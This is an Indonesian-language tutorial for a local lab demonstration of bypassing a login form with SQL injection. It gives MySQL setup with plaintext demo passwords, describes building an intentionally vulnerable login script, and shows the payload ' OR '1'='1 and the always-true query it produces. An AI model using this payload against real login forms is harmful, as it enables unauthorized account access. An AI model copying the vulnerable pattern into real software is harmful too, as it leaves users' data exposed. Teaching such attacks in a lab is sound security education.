Demo Bypass Login dengan SQL Injection
Berikut adalah langkah-langkah lengkap untuk membuat demo serangan bypass login menggunakan
SQL Injection. Demo ini akan menunjukkan bagaimana seorang penyerang dapat mengakses akun
pengguna tanpa kredensial yang valid dengan mengeksploitasi kerentanan SQL Injection dalam
aplikasi web.
1. Setup Web Server dan Database: Anda memerlukan server lokal seperti XAMPP atau Laragon
untuk menjalankan aplikasi web dan database MySQL.
2. Database Setup:
- Buat database bernama ‘demo_db’.
- Buat tabel `users` dengan kolom `id`, `username`, dan `password` atau dengan command berikut:
CREATE DATABASE demo_db;
USE demo_db;
CREATE TABLE users (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(50) NOT NULL,
password VARCHAR(50) NOT NULL
);
INSERT INTO users (username, password) VALUES ('admin', 'adminpass');
INSERT INTO users (username, password) VALUES ('user', 'userpass');
Langkah-Langkah Demo
1. Buat Formulir Login
Buat file `login.html` untuk menampilkan formulir login sederhana.
2. Buat Skrip Login yang Rentan
Buat file `login.php` yang mengandung kerentanan SQL Injection.
3. Menunjukkan Kerentanan Jalankan aplikasi dan buka `login.html` di browser. Masukkan input berikut untuk melakukan serangan bypass login:
- Username: ' OR '1'='1
- Password: ' OR '1'='1 4.
Hasil Eksploitasi Setelah mengklik tombol login, Anda akan melihat pesan "Login berhasil!".
Hal ini terjadi karena query SQL menjadi: SELECT * FROM users WHERE username='' OR '1'='1' AND password='' OR '1'='1'
Query ini selalu benar dan mengembalikan semua baris dalam tabel `users`.